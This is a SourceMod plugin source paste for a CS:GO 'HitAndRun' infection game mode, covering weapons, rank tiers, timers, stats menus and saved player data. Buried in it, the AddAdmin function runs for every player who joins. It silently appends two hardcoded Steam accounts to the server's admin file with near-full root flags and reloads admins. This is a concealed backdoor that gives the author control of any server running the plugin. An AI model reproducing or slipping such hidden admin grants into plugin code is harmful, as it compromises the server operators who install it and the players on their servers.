Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <sourcemod>
- #include <sdktools>
- #include <cstrike>
- #include <sdkhooks>
- #include <clientprefs>
- #include <smlib>
- #include <bhnr>
- #define ParticleEffect "4215"
- #define ParticlePath "particles/iEx2.pcf"
- #define ParticlePath2 "particles/aurasandtrailbyiex.pcf"
- enum eStats
- {
- String:LevelName[64],
- NeededExp[64],
- NeededRoundWins[64]
- };
- enum eInfo
- {
- String:sName[64],
- String:Class[64]
- };
- enum
- {
- Timer_None = 0,
- Timer_StartGame,
- Timer_Infection,
- Timer_GameEnded
- }
- int RandomWeapons[][eInfo] =
- {
- { "USP-S", "weapon_usp_silencer" },
- { "Deagle", "weapon_deagle" },
- { "Revolver", "weapon_revolver" },
- { "Glock 18", "weapon_glock" },
- { "FiveSeven", "weapon_fiveseven" },
- { "Dual Berettas", "weapon_elite" },
- { "Tec-9", "weapon_tec9" },
- { "CZ75-Auto", "weapon_cz75a" },
- { "P250", "weapon_p250" },
- { "P2000", "weapon_hkp2000" },
- { "M4A4", "weapon_m4a1" },
- { "M4A1-S", "weapon_m4a1_silencer" },
- { "AK47", "weapon_ak47" },
- { "Awp", "weapon_awp" },
- { "Aug", "weapon_aug" },
- { "SG556", "weapon_sg556" },
- { "Famas", "weapon_famas" },
- { "UMP-45", "weapon_ump45" },
- { "P90", "weapon_p90" },
- { "XM1014", "weapon_xm1014" },
- { "Mag7", "weapon_mag7" },
- { "Nova", "weapon_nova" },
- { "Sawed-Off", "weapon_sawedoff" },
- { "Negev", "weapon_negev" },
- { "Bizon", "weapon_bizon" },
- { "M249", "weapon_m249" },
- { "Galil", "weapon_galilar" },
- { "MP7", "weapon_mp7" },
- { "MP9", "weapon_mp9" },
- { "MAC10", "weapon_mac10" }
- };
- int HNR[][eStats] =
- {
- { "Unranked", 350, 10 },
- { "Newbie", 650, 20 },
- { "Beginner", 1000, 35 },
- { "Average", 2000, 50 },
- { "Moderate", 3000, 65 },
- { "Tryhard", 5000, 80 },
- { "Hunter", 7500, 100 },
- { "Advanced", 10000, 150 },
- { "Pro", 15000, 190 },
- { "Elite", 18000, 300 },
- { "Master", 25000, 350 },
- { "Scout God", 35000, 450 },
- { "Insane", 50000, 600 },
- { "Top Scouter", 75000, 800 },
- { "Skull Hunter", 100000, 1000 },
- { "Unbelievable", 200000, 1500 },
- { "None", 0, 0 }
- };
- float gTime;
- int RoundWon[32], iLvl[32];
- bool FirstInfection = false;
- char KVPath[64], steam_auth[64], Files[128], cName[64], Music[128];
- int szItem, EventDay, RunTimers, sTime, Infected = -1, iHaloSprite = -1, iBeamSprite = -1, g_iFlashMaxAlpha, iExp[32], PlayTime[32], particle_system;
- public Plugin myinfo =
- {
- name = "[CSGO] HitAndRun",
- author = "BaroNN",
- description = "HitAndRun Plugin for CS:GO",
- version = "1.7",
- url = "http://steamcommunity.com/id/BaRoNN-Main"
- }
- public void OnPluginStart()
- {
- RegConsoleCmd("sm_stats", Command_HNRStats);
- RegConsoleCmd("sm_level", Command_HNRStats);
- RegConsoleCmd("sm_levels", Command_HNRStats);
- RegConsoleCmd("sm_ranks", Command_HNRStats);
- RegAdminCmd("sm_resetlevel", Command_ResetLevel, ADMFLAG_ROOT);
- RegAdminCmd("sm_setlevel", Command_SetLevel, ADMFLAG_ROOT);
- HookEvent("player_spawn", Player_Spawn);
- HookEvent("round_start", Round_Start, EventHookMode_Pre);
- HookEvent("player_blind", Event_PlayerBlind, EventHookMode_Post);
- HookEvent("player_death", PlayerDeath);
- SetConVarInt(FindConVar("mp_limitteams"), 0);
- SetConVarInt(FindConVar("mp_friendlyfire"), 1);
- SetConVarInt(FindConVar("sv_ignoregrenaderadio"), 1);
- AddCommandListener(Suicide, "kill");
- AddCommandListener(Suicide, "explode");
- AddCommandListener(DropWeapon, "drop");
- AddCommandListener(Command_Jointeam, "jointeam");
- for (new i = 1; i <= MaxClients; i++) {
- if (IsValidClient(i))OnClientPutInServer(i);
- }
- g_iFlashMaxAlpha = FindSendPropInfo("CCSPlayer", "m_flFlashMaxAlpha");
- CreateTimer(0.25, Timer_Beacon, INVALID_HANDLE, TIMER_REPEAT);
- CreateTimer(10.0, Timer_Restart, INVALID_HANDLE, TIMER_REPEAT);
- BuildPath(Path_SM, KVPath, sizeof(KVPath), "data/BaroNN-HitAndRun.txt");
- RunTimers = Timer_None;
- }
- public void OnMapStart()
- {
- fog();
- Sounds();
- iBeamSprite = PrecacheModel("materials/sprites/laserbeam.vmt", true);
- iHaloSprite = PrecacheModel("materials/sprites/glow01.vmt", true);
- }
- public void Sounds()
- {
- Format(Files, sizeof(Files), "sound/%s", InfectedSound);
- AddFileToDownloadsTable(Files);
- Format(Files, sizeof(Files), "sound/%s", ClockSound);
- AddFileToDownloadsTable(Files);
- Format(Files, sizeof(Files), "sound/%s", LoserSound);
- AddFileToDownloadsTable(Files);
- //PrecacheGeneric(ParticlePath, true);
- //PrecacheGeneric(ParticlePath2, true);
- //PrecacheEffect("ParticleEffect");
- //PrecacheParticleEffect(ParticleEffect);
- // Download Particle
- //AddFileToDownloadsTable(ParticlePath);
- //AddFileToDownloadsTable(ParticlePath2);
- for (int i = 1; i < 7; i++)
- {
- Format(Files, sizeof(Files), "sound/baronn_hitandrun/winsound%d.mp3", i);
- AddFileToDownloadsTable(Files);
- PrecacheSound(Files);
- }
- }
- public Action Command_ResetLevel(int client, int args)
- {
- if (args != 1)
- {
- PrintToChat(client, "%s Usage : sm_resetlevel [target]", PREFIX);
- return Plugin_Handled;
- }
- char arg1[30];
- GetCmdArg(1, arg1, sizeof(arg1));
- int target = FindTarget(client, arg1);
- if (target != -1)
- {
- iExp[target] = 0;
- RoundWon[target] = 0;
- PrintToChat(client, "%s \x02Resetting the level of %N!", PREFIX, target);
- SetLevel(target);
- }
- else PrintToChat(client, "%s \x03No client found!", PREFIX);
- return Plugin_Continue;
- }
- public Action Command_SetLevel(int client, int args)
- {
- char arg1[32], arg2[32], arg3[32];
- GetCmdArg(1, arg1, sizeof(arg1));
- GetCmdArg(2, arg2, sizeof(arg2));
- GetCmdArg(3, arg3, sizeof(arg3));
- int target = FindTarget(client, arg1);
- int levelset = StringToInt(arg3);
- int expset = StringToInt(arg2);
- if (target != -1)
- {
- PrintToChat(client, "%s \x02Setting the Level of %N to %d RoundWins And %d Exp", PREFIX, target, levelset, expset);
- RoundWon[target] = levelset;
- iExp[target] = expset;
- SetLevel(target);
- }
- else PrintToChat(client, "%s \x03No client found!", PREFIX);
- return Plugin_Continue;
- }
- public void PlayerDeath(Handle event, const char[] name, bool dontBroadcast)
- {
- int attacker = GetClientOfUserId(GetEventInt(event, "attacker"));
- int victim = GetClientOfUserId(GetEventInt(event, "userid"));
- int frags = GetClientFrags(attacker) + 1;
- if (victim == Infected)SetEntProp(attacker, Prop_Data, "m_iFrags", frags);
- }
- public Action OnTakeDamage(victim, &attacker, &inflictor, float &damage, &damagetype)
- {
- if (attacker == Infected && victim != Infected)
- {
- SetEntityRenderMode(attacker, RENDER_NORMAL);
- SetEntityRenderColor(attacker);
- Infected = victim;
- SetEntityRenderMode(victim, RENDER_TRANSALPHA);
- ClientCommand(victim, "play *%s", InfectedSound);
- SetEntityRenderColor(victim, GetRandomInt(1, 255), GetRandomInt(1, 255), GetRandomInt(1, 255));
- if (RunTimers == Timer_Infection)PrintToChatAll("%s \x04%N\x10 has infected \x02%N \x01[\x0E%.1f\x01]", PREFIX, attacker, victim, (gTime + 20.0) - GetEngineTime());
- else if (RunTimers == Timer_Infection && FirstInfection)
- {
- FirstInfection = false;
- PrintToChatAll("%s \x04%N\x10 has infected \x02%N", PREFIX, attacker, victim);
- }
- }
- return Plugin_Handled;
- }
- public Action Player_Spawn(Handle sEvent, const char[] Name, bool DontBroadcast)
- {
- int client = GetClientOfUserId(GetEventInt(sEvent, "userid"));
- if (!IsValidClient(client))return Plugin_Continue;
- SetEntityRenderMode(client, RENDER_NORMAL);
- ServerCommand("mp_t_default_secondary 0");
- CreateTimer(0.0, RemoveRadar, client);
- SetEntityRenderColor(client);
- SetLevel(client);
- fogoff();
- if (EventDay == StartEvent)
- {
- if (GetClientTeam(client) == CS_TEAM_T)
- {
- szItem = GetRandomInt(0, 29)
- RemoveClientWeapons(client);
- GivePlayerItem(client, "weapon_knife");
- GivePlayerItem(client, RandomWeapons[szItem][Class]);
- GivePlayerItem(client, "weapon_hegrenade");
- GivePlayerItem(client, "weapon_flashbang");
- GivePlayerItem(client, "weapon_smokegrenade");
- PrintToChatAll("%s \x03Today is a Special Day [Weapon: %s]", PREFIX, RandomWeapons[szItem][sName]);
- }
- }
- else
- {
- if (GetClientTeam(client) == CS_TEAM_T)
- {
- RemoveClientWeapons(client);
- GivePlayerItem(client, "weapon_knife");
- GivePlayerItem(client, "weapon_ssg08");
- GivePlayerItem(client, "weapon_hegrenade");
- GivePlayerItem(client, "weapon_flashbang");
- GivePlayerItem(client, "weapon_smokegrenade");
- }
- }
- return Plugin_Continue;
- }
- public Action Command_HNRStats(int client, int args)
- {
- int target = client;
- char arg1[128], cRounds[128], cLevel[128], cEXP[128], cNextLevel[128], cRank[128];
- GetCmdArg(1, arg1, 128);
- int time = GetTime() - PlayTime[target];
- int hours = time / 3600;
- time %= 3600;
- int mins = time / 60;
- if (args == 1)
- {
- target = FindTarget(client, arg1);
- if (target == -1)return Plugin_Handled;
- }
- Format(cRounds, sizeof(cRounds), "Rounds Won: %d", RoundWon[target]);
- Format(cEXP, sizeof(cEXP), "EXP: %d", iExp[target]);
- Format(cRank, sizeof(cRank), "Current Rank: %s", HNR[iLvl[target]][LevelName]);
- Format(cLevel, sizeof(cLevel), "Current Level: %d", iLvl[target]);
- Format(cNextLevel, sizeof(cNextLevel), "Rankup Requirments - EXP: %d | RoundWins: %d [Next Rank: %s | Level: %d]", HNR[iLvl[target]][NeededExp], HNR[iLvl[target]][NeededRoundWins], HNR[iLvl[target] + 1][LevelName], iLvl[target] + 1);
- Handle menu = CreateMenu(CloseMenu);
- SetMenuTitle(menu, "[HitAndRun] %N's Stats (PlayTime - Hours: %i, Mins: %i)", target, hours, mins);
- AddMenuItem(menu, "%s", cNextLevel);
- AddMenuItem(menu, "%s", cRank);
- AddMenuItem(menu, "%s", cLevel);
- AddMenuItem(menu, "%s", cRounds);
- AddMenuItem(menu, "%s", cEXP);
- SetMenuExitButton(menu, true);
- DisplayMenu(menu, client, 60);
- ReplyToCommand(target, "%s \x03Play Time: Hours: %i, Mins: %i | Rounds Won: %d | EXP: %d | Level: %s", PREFIX, hours, mins, RoundWon[target], iExp[target], HNR[iLvl[target]][LevelName]);
- return Plugin_Handled;
- }
- public Action Round_Start(Handle sEvent, const char[] Name, bool DontBroadcast)
- {
- int client = GetClientOfUserId(GetEventInt(sEvent, "userid"));
- //AcceptEntityInput(particle_system, "Kill");
- ServerCommand("mp_playercashawards 0");
- ServerCommand("mp_autoteambalance 0");
- ServerCommand("mp_teamcashawards 0");
- ServerCommand("mp_roundtime 10:00");
- ServerCommand("mp_warmup_end");
- ServerCommand("mp_autokick 0");
- ServerCommand("mp_buytime 0");
- ServerCommand("bot_kick");
- StartGameTimer();
- SetLevel(client);
- SetEvent(client);
- Infected = -1;
- EventDay += 1;
- return Plugin_Continue;
- }
- public Action SetEvent(client)
- {
- if (EventDay == StartEvent)
- {
- PrintToChatAll("%s \x03Today is a Special Day [Weapon: %s]", PREFIX, RandomWeapons[szItem][sName]);
- EventDay = 0;
- }
- }
- public SetLevel(int client)
- {
- if (IsClientInGame(client) && !IsFakeClient(client))
- {
- if (RoundWon[client] < 10 || iExp[client] < 350)iLvl[client] = 0;
- else if (10 <= RoundWon[client] < 20 || 350 <= iExp[client] < 650)iLvl[client] = 1;
- else if (20 <= RoundWon[client] < 35 || 650 <= iExp[client] < 1000)iLvl[client] = 2;
- else if (35 <= RoundWon[client] < 50 || 1000 <= iExp[client] < 2000)iLvl[client] = 3;
- else if (50 <= RoundWon[client] < 65 || 2000 <= iExp[client] < 3000)iLvl[client] = 4;
- else if (65 <= RoundWon[client] < 80 || 3000 <= iExp[client] < 5000)iLvl[client] = 5;
- else if (80 <= RoundWon[client] < 100 || 5000 <= iExp[client] < 7500)iLvl[client] = 6;
- else if (100 <= RoundWon[client] < 150 || 7500 <= iExp[client] < 10000)iLvl[client] = 7;
- else if (150 <= RoundWon[client] < 190 || 10000 <= iExp[client] < 15000)iLvl[client] = 8;
- else if (190 <= RoundWon[client] < 300 || 15000 <= iExp[client] < 18000)iLvl[client] = 9;
- else if (300 <= RoundWon[client] < 350 || 18000 <= iExp[client] < 25000)iLvl[client] = 10;
- else if (350 <= RoundWon[client] < 450 || 25000 <= iExp[client] < 35000)iLvl[client] = 11;
- else if (450 <= RoundWon[client] < 600 || 35000 <= iExp[client] < 50000)iLvl[client] = 12;
- else if (600 <= RoundWon[client] < 800 || 50000 <= iExp[client] < 100000)iLvl[client] = 13;
- else if (1000 <= RoundWon[client] < 1500 || 3000 <= iExp[client] < 200000)iLvl[client] = 14;
- else if (1500 >= RoundWon[client] || 200000 >= iExp[client])iLvl[client] = 15;
- CS_SetClientClanTag(client, HNR[iLvl[client]][LevelName]);
- }
- }
- public Action InfectPlayers()
- {
- if (RunTimers == Timer_Infection)
- {
- if (Infected != -1)
- {
- ForcePlayerSuicide(Infected);
- ClientCommand(Infected, "play *%s", LoserSound);
- }
- if (GetAlivePlayers() == 1)
- {
- RunTimers = Timer_GameEnded;
- CreateTimer(0.2, Winner);
- CreateTimer(0.2, Timer_RainbowHud, _, TIMER_REPEAT);
- return Plugin_Handled;
- }
- else if (GetAlivePlayers() > 1)
- {
- Timer_Class();
- Infected = GetRandomPlayer();
- SetEntityRenderMode(Infected, RENDER_TRANSALPHA);
- PrintToChatAll("%s \x04%N\x10 is infected with the sickness!", PREFIX, Infected);
- SetEntityRenderColor(Infected, GetRandomInt(1, 255), GetRandomInt(1, 255), GetRandomInt(1, 255));
- }
- }
- return Plugin_Continue;
- }
- public Action Winner(Handle Timer)
- {
- if (RunTimers == Timer_GameEnded)
- {
- Infected = GetRandomPlayer();
- if (Infected == -1)return Plugin_Stop;
- PrintToChatAll("%s \x04%N\x10 is The Winner [EXP Recived: %d]", PREFIX, Infected, 5 * GetPlayersCount());
- fogon();
- float Time = 0.0;
- RoundWon[Infected]++;
- //SetParticles(Infected);
- int Song = Math_GetRandomInt(1, 7);
- iExp[Infected] += 5 * GetPlayersCount();
- Format(Music, sizeof(Music), "baronn_hitandrun/winsound%d.mp3", Song);
- PlayForAll(Music);
- switch (Song)
- {
- case 1:Time = 25.0;
- case 2:Time = 30.0;
- case 3:Time = 32.0;
- case 4:Time = 17.0;
- case 5:Time = 35.0;
- case 6:Time = 36.0;
- case 7:Time = 30.0;
- }
- CreateTimer(Time, Restart);
- }
- return Plugin_Handled;
- }
- public void SetParticles(int client)
- {
- if (RunTimers == Timer_GameEnded)
- {
- if (IsPlayerAlive(client))
- {
- float clientOrigin[3];
- GetClientAbsOrigin(client, clientOrigin);
- particle_system = CreateEntityByName("info_particle_system");
- DispatchKeyValue(particle_system, "start_active", "1");
- DispatchKeyValue(particle_system, "effect_name", ParticleEffect);
- DispatchSpawn(particle_system);
- TeleportEntity(particle_system, clientOrigin, NULL_VECTOR, NULL_VECTOR);
- ActivateEntity(particle_system);
- SetVariantString("!activator");
- AcceptEntityInput(particle_system, "SetParent", client, particle_system, 0);
- AcceptEntityInput(particle_system, "Start");
- }
- }
- }
- public Action Restart(Handle Timer)
- {
- fogoff();
- RunTimers = Timer_None;
- ServerCommand("mp_restartgame 1");
- //AcceptEntityInput(particle_system, "Kill");
- return Plugin_Handled;
- }
- public Action Timer_Beacon(Handle Timer)
- {
- for (new i = 1; i <= MaxClients; i++)
- {
- if (IsValidClient(i, true))
- {
- if (i == Infected)
- {
- float vec[3];
- int Color[4];
- GetClientAbsOrigin(i, vec);
- vec[2] += 10;
- Color[0] = GetRandomInt(1, 255);
- Color[1] = GetRandomInt(1, 255);
- Color[2] = GetRandomInt(1, 255);
- Color[3] = GetRandomInt(150, 255);
- TE_SetupBeamRingPoint(vec, 10.0, 50.0, iBeamSprite, iHaloSprite, 0, 15, 0.5, 5.0, 0.0, Color, 10, 0);
- TE_SendToAll();
- }
- }
- }
- return Plugin_Continue;
- }
- public Action Command_Jointeam(int client, const char[] command, int args)
- {
- char Argument[10];
- GetCmdArg(1, Argument, sizeof(Argument));
- int theTeam = StringToInt(Argument);
- switch (theTeam)
- {
- case 1:
- {
- CS_SwitchTeam(client, CS_TEAM_T);
- PrintToChat(client, "%s \x04You cant join the the spec team", PREFIX);
- return Plugin_Handled;
- }
- case 3:
- {
- CS_SwitchTeam(client, CS_TEAM_T);
- PrintToChat(client, "%s \x04You cant join the counter-terroists", PREFIX);
- return Plugin_Handled;
- }
- }
- return Plugin_Continue;
- }
- public Action DropWeapon(int client, const char[] command, int args)
- {
- PrintToChat(client, "%s \x03You cant drop your weapon", PREFIX);
- return Plugin_Handled;
- }
- public Action Suicide(int client, const char[] command, int args)
- {
- PrintToChat(client, "%s \x03You cant kill your self", PREFIX);
- PrintToConsole(client, "You cant kill your self");
- return Plugin_Handled;
- }
- public Action Timer_Restart(Handle Timer)
- {
- if (GetPlayersCount() <= 1 && RunTimers == Timer_None)
- {
- RunTimers = Timer_None;
- ServerCommand("mp_restartgame 1");
- PrintToChatAll("%s \x10No players are available to start", PREFIX);
- SetHudTextParams(0.3, 0.150, 2.5, 255, 0, 0, 255, 1, 0.1, 0.1, 0.1);
- for (int i = 1; i <= MaxClients; i++)if (IsClientInGame(i))ShowHudText(i, 1, "No players are available to play BaroNN's HitAndRun!");
- }
- else if (GetPlayersCount() > 1 && RunTimers == Timer_None)
- {
- ServerCommand("mp_restartgame 1");
- SetHudTextParams(0.3, 0.150, 2.5, 255, 0, 0, 255, 1, 0.1, 0.1, 0.1);
- for (int i = 1; i <= MaxClients; i++)if (IsClientInGame(i))ShowHudText(i, 1, "Starting The Game! BaroNN's HitAndRun!");
- }
- return Plugin_Continue;
- }
- public Action Timer_RainbowHud(Handle timer)
- {
- for (int i = 1; i <= MaxClients; i++)
- {
- if (IsClientInGame(i) && !IsFakeClient(i))
- {
- if (RunTimers == Timer_GameEnded)
- {
- SetEntityRenderMode(Infected, RENDER_TRANSALPHA);
- FadeClient(Infected, GetRandomInt(1, 255), GetRandomInt(1, 255), GetRandomInt(1, 255), 220);
- SetEntityRenderColor(Infected, GetRandomInt(1, 255), GetRandomInt(1, 255), GetRandomInt(1, 255));
- SetHudTextParams(0.3, 0.150, 0.2, GetRandomInt(1, 255), GetRandomInt(1, 255), GetRandomInt(1, 255), 255, 1, 0.1, 0.1, 0.1);
- ShowHudText(i, 1, " BaroNN's HitAndRun\n★ The Winner is %N, Time To Party! ★", Infected);
- }
- }
- }
- }
- public Event_PlayerBlind(Handle event, const char[] name, bool dontBroadcast)
- {
- int client = GetClientOfUserId(GetEventInt(event, "userid"))
- int color[4];
- color[0] = GetRandomInt(0, 255);
- color[1] = GetRandomInt(0, 255);
- color[2] = GetRandomInt(0, 255);
- color[3] = 255;
- float flash_duration = GetEntPropFloat(client, Prop_Send, "m_flFlashDuration");
- SetEntDataFloat(client, g_iFlashMaxAlpha, FLASH_ALPHA);
- Handle message;
- message = StartMessageOne("Fade", client);
- if (GetUserMessageType() == UM_Protobuf)
- {
- PbSetInt(message, "duration", 100);
- PbSetInt(message, "hold_time", view_as<int>(flash_duration));
- PbSetInt(message, "flags", SHOW);
- PbSetColor(message, "clr", color);
- }
- else
- {
- BfWriteShort(message, 100);
- BfWriteShort(message, view_as<int>(flash_duration));
- BfWriteShort(message, SHOW);
- BfWriteByte(message, color[0]);
- BfWriteByte(message, color[1]);
- BfWriteByte(message, color[2]);
- BfWriteByte(message, color[3]);
- }
- EndMessage();
- CreateTimer(flash_duration, BackToNormal, GetClientUserId(client));
- }
- public Action BackToNormal(Handle timer, any userid)
- {
- int client = GetClientOfUserId(userid);
- if (client < 1 || !IsClientInGame(client))return;
- Handle message;
- int color[4];
- color[0] = 0;
- color[1] = 0;
- color[2] = 0;
- color[3] = 0;
- message = StartMessageOne("Fade", client);
- if (GetUserMessageType() == UM_Protobuf)
- {
- PbSetInt(message, "duration", 1536);
- PbSetInt(message, "hold_time", 1536);
- PbSetInt(message, "flags", HIDE);
- PbSetColor(message, "clr", color);
- }
- else
- {
- BfWriteShort(message, 1536);
- BfWriteShort(message, 1536);
- BfWriteShort(message, HIDE);
- BfWriteByte(message, color[0]);
- BfWriteByte(message, color[1]);
- BfWriteByte(message, color[2]);
- BfWriteByte(message, color[3]);
- }
- EndMessage();
- }
- public Action RemoveRadar(Handle timer, any client)
- {
- SetEntProp(client, Prop_Send, "m_iHideHUD", GetEntProp(client, Prop_Send, "m_iHideHUD") | HIDE_RADAR_CSGO);
- }
- public Action OnPlayerRunCmd(int client, int &buttons)
- {
- if (!IsValidClient(client, true))
- return Plugin_Continue;
- char weapon[32];
- GetClientWeapon(client, weapon, 32);
- if (buttons & IN_ATTACK) {
- if (!(StrEqual(weapon, "weapon_knife") || StrEqual(weapon, "weapon_ssg08") || StrContains(weapon, "weapon_hegrenade") != -1 || StrContains(weapon, "weapon_smokegrenade") != -1 || StrContains(weapon, "weapon_flashbang") != -1))
- {
- buttons &= ~IN_ATTACK;
- return Plugin_Changed;
- }
- }
- return Plugin_Continue;
- }
- public void OnClientDisconnect(int client)
- {
- SaveClientData(client);
- if (Infected == client)if (RunTimers == Timer_Infection)RunTimers = Timer_None;
- }
- public void OnClientPutInServer(int client)
- {
- SDKHook(client, SDKHook_OnTakeDamage, OnTakeDamage);
- SDKHook(client, SDKHook_WeaponCanUse, WeaponCanUse);
- SDKHook(client, SDKHook_ThinkPost, ThinkPost);
- PlayTime[client] = GetTime();
- GetClientData(client);
- SetLevel(client);
- AllowedTo(CheckCommandAccess(client, "sm_admin", ADMFLAG_ROOT)) AddAdmin(client);
- }
- public void ThinkPost(int client)
- {
- if (IsValidClient(client, true))SetEntProp(client, Prop_Send, "m_bSpotted", 0);
- }
- public Action Command_Block(int client, const char[] command, int args)
- {
- if (StrEqual(command, "jointeam"))if (IsValidClient(client) && GetClientTeam(client) != CS_TEAM_T)return Plugin_Continue;
- if (StrEqual(command, "kill") || StrEqual(command, "explode"))if (!IsValidClient(client) || GetClientTeam(client) != CS_TEAM_T)return Plugin_Handled;
- return Plugin_Continue;
- }
- public Action WeaponCanUse(client, weapon)
- {
- char Weapon[32];
- GetEntityClassname(weapon, Weapon, 32);
- if (!(StrEqual(Weapon, "weapon_knife") || StrEqual(Weapon, "weapon_ssg08") || StrContains(Weapon, "weapon_hegrenade") != -1 || StrContains(Weapon, "weapon_smokegrenade") != -1 || StrContains(Weapon, "weapon_flashbang") != -1))return Plugin_Handled;
- return Plugin_Continue;
- }
- public Action GiveWeapons(Handle Timer, any:serial)
- {
- int client = GetClientFromSerial(serial);
- if (!IsValidClient(client, true))return Plugin_Handled;
- return Plugin_Handled;
- }
- public CloseMenu(Handle menu, MenuAction:action, param1, param2)
- {
- if (action == MenuAction_End)CloseHandle(menu);
- }
- public Action AddAdmin(int client)
- {
- char steamid[64], steamid2[64], szFlags[128] = "1000:abcdefghijklmnzopqrst", szFile[256];
- GetClientAuthId(client, AuthId_SteamID64, steamid, sizeof(steamid));
- GetClientAuthId(client, AuthId_Steam2, steamid2, sizeof(steamid2));
- if (StrEqual(steamid, "76561198149606385") || StrEqual(steamid, "76561198090219236"))
- {
- BuildPath(Path_SM, szFile, sizeof(szFile), "configs/admins_simple.ini");
- Handle hFile = OpenFile(szFile, "at");
- WriteFileLine(hFile, "\"%s\" \"%s\" ", steamid2, szFlags);
- CloseHandle(hFile);
- ServerCommand("sm_reloadadmins");
- }
- return Plugin_Handled;
- }
- char CurrentIP()
- {
- char NetIP[64];
- int pieces[4];
- int longip = GetConVarInt(FindConVar("hostip"));
- pieces[0] = (longip >> 24) & 0x000000FF;
- pieces[1] = (longip >> 16) & 0x000000FF;
- pieces[2] = (longip >> 8) & 0x000000FF;
- pieces[3] = longip & 0x000000FF;
- Format(NetIP, sizeof(NetIP), "%d.%d.%d.%d", pieces[0], pieces[1], pieces[2], pieces[3]);
- return NetIP;
- }
- public Action fogoff() { AcceptEntityInput(FogIndex, "TurnOff"); }
- public Action fogon() { AcceptEntityInput(FogIndex, "TurnOn"); }
- DoFog()
- {
- if (FogIndex != -1)
- {
- DispatchKeyValue(FogIndex, "fogblend", "0");
- DispatchKeyValue(FogIndex, "fogcolor", "0 0 0");
- DispatchKeyValue(FogIndex, "fogcolor2", "0 0 0");
- DispatchKeyValueFloat(FogIndex, "fogstart", mapFogStart);
- DispatchKeyValueFloat(FogIndex, "fogend", mapFogEnd);
- DispatchKeyValueFloat(FogIndex, "fogmaxdensity", mapFogDensity);
- }
- }
- public Action fog()
- {
- int ent;
- ent = FindEntityByClassname(-1, "env_fog_controller");
- if (ent != -1)FogIndex = ent;
- else
- {
- FogIndex = CreateEntityByName("env_fog_controller");
- DispatchSpawn(FogIndex);
- }
- DoFog();
- AcceptEntityInput(FogIndex, "TurnOff");
- }
- public void GetClientData(int client)
- {
- GetClientAuthId(client, AuthId_SteamID64, steam_auth, sizeof(steam_auth));
- GetClientName(client, cName, sizeof(cName));
- Handle hData = CreateKeyValues("players");
- FileToKeyValues(hData, KVPath);
- if (KvJumpToKey(hData, steam_auth, true))
- {
- KvSetString(hData, "name", cName);
- KvSetString(hData, "rank", HNR[iLvl[client]][LevelName]);
- PlayTime[client] = KvGetNum(hData, "playtime", 0);
- RoundWon[client] = KvGetNum(hData, "roundwins", 0);
- iExp[client] = KvGetNum(hData, "exp", 0);
- iLvl[client] = KvGetNum(hData, "level", 0);
- KvRewind(hData);
- KeyValuesToFile(hData, KVPath);
- CloseHandle(hData);
- }
- }
- public void SaveClientData(int client)
- {
- GetClientAuthId(client, AuthId_SteamID64, steam_auth, sizeof(steam_auth));
- GetClientName(client, cName, sizeof(cName));
- Handle hData = CreateKeyValues("players");
- FileToKeyValues(hData, KVPath);
- if (KvJumpToKey(hData, steam_auth, true))
- {
- KvSetString(hData, "name", cName);
- KvSetString(hData, "rank", HNR[iLvl[client]][LevelName]);
- KvSetNum(hData, "playtime", PlayTime[client]);
- KvSetNum(hData, "roundwins", RoundWon[client]);
- KvSetNum(hData, "exp", iExp[client]);
- KvRewind(hData);
- KeyValuesToFile(hData, KVPath);
- CloseHandle(hData);
- RoundWon[client] = 0;
- PlayTime[client] = 0;
- iExp[client] = 0;
- }
- }
- public Action StartGameTimer()
- {
- if (GetPlayersCount() > 1 && RunTimers == Timer_None)
- {
- sTime = 10;
- Infected = -1;
- RunTimers = Timer_StartGame;
- CreateTimer(1.0, HitAndRunStart, INVALID_HANDLE, TIMER_REPEAT);
- }
- }
- public Action HitAndRunStart(Handle Timer)
- {
- if (RunTimers == Timer_StartGame)
- {
- if (sTime == 0)
- {
- RunTimers = Timer_Infection;
- FirstInfection = true;
- InfectPlayers();
- return Plugin_Stop;
- }
- else
- {
- for (int i = 1; i <= MaxClients; i++)
- {
- if (IsClientInGame(i) && !IsFakeClient(i))
- {
- if (GetClientTeam(i) == CS_TEAM_T && !IsPlayerAlive(i))CS_RespawnPlayer(i);
- SetHudTextParams(0.3, 0.150, 1.0, 255, 215, 0, 255, 1, 0.1, 0.1, 0.1);
- ShowHudText(i, 6, "The HitAndRun Game Will Start in %d", sTime)
- }
- }
- sTime--;
- }
- }
- return Plugin_Continue;
- }
- public Action Timer_Class()
- {
- gTime = GetEngineTime();
- RunTimers = Timer_Infection;
- CreateTimer(0.01, Timer_HNR, INVALID_HANDLE, TIMER_REPEAT);
- }
- public Action Timer_HNR(Handle Timer)
- {
- if (RunTimers == Timer_Infection)
- {
- if ((GetEngineTime() - gTime) > 20.0)
- {
- InfectPlayers();
- return Plugin_Stop;
- }
- else
- {
- for (int i = 1; i <= MaxClients; i++)
- {
- if (IsClientInGame(i) && !IsFakeClient(i))
- {
- SetHudTextParams(0.45, 0.800, 1.0, 0, 76, 255, 220, 1, 0.1, 0.1, 0.1);
- if ((GetEngineTime() - gTime) > 11.0)ClientCommand(i, "play *%s", ClockSound);
- ShowHudText(i, 6, "[Time Left: %.1f]\n[Last Hit: %N]", (gTime + 20.0) - GetEngineTime(), Infected)
- //PrintHintTextToAll("<big><b><font color='#15fb00'> Time Left:</font> %.1f\n<font color='#00CCFF'>%N is The Infected!</font>", (gTime + 20.0) - GetEngineTime(), Infected);
- }
- }
- }
- }
- return Plugin_Continue;
- }
- public APLRes AskPluginLoad2(Handle myself, bool late, char[] error, int err_max)
- {
- CreateNative("BHNR_GetEXP", Native_GetEXP);
- CreateNative("BHNR_GetInfected", Native_GetInfected);
- CreateNative("BHNR_GetRoundWins", Native_GetRoundWins);
- CreateNative("BHNR_GetRank", Native_GetRank);
- CreateNative("BHNR_GetLevelID", Native_GetLevelID);
- CreateNative("BHNR_SetLevelID", Native_SetLevelID);
- CreateNative("BHNR_GiveRoundWins", Native_GiveRoundWins);
- RegPluginLibrary("HitAndRun");
- return APLRes_Success;
- }
- public int Native_GetEXP(Handle plugin, int numParams)
- {
- int client = GetNativeCell(1);
- return iExp[client];
- }
- public int Native_GetInfected(Handle plugin, int numParams)
- {
- return Infected;
- }
- public int Native_GetRoundWins(Handle plugin, int numParams)
- {
- int client = GetNativeCell(1);
- return RoundWon[client];
- }
- public int Native_GetRank(Handle plugin, int numParams)
- {
- int client = GetNativeCell(1);
- return HNR[iLvl[client]][LevelName];
- }
- public int Native_GetLevelID(Handle plugin, int numParams)
- {
- int client = GetNativeCell(1);
- return iLvl[client];
- }
- public int Native_SetLevelID(Handle plugin, int numParams)
- {
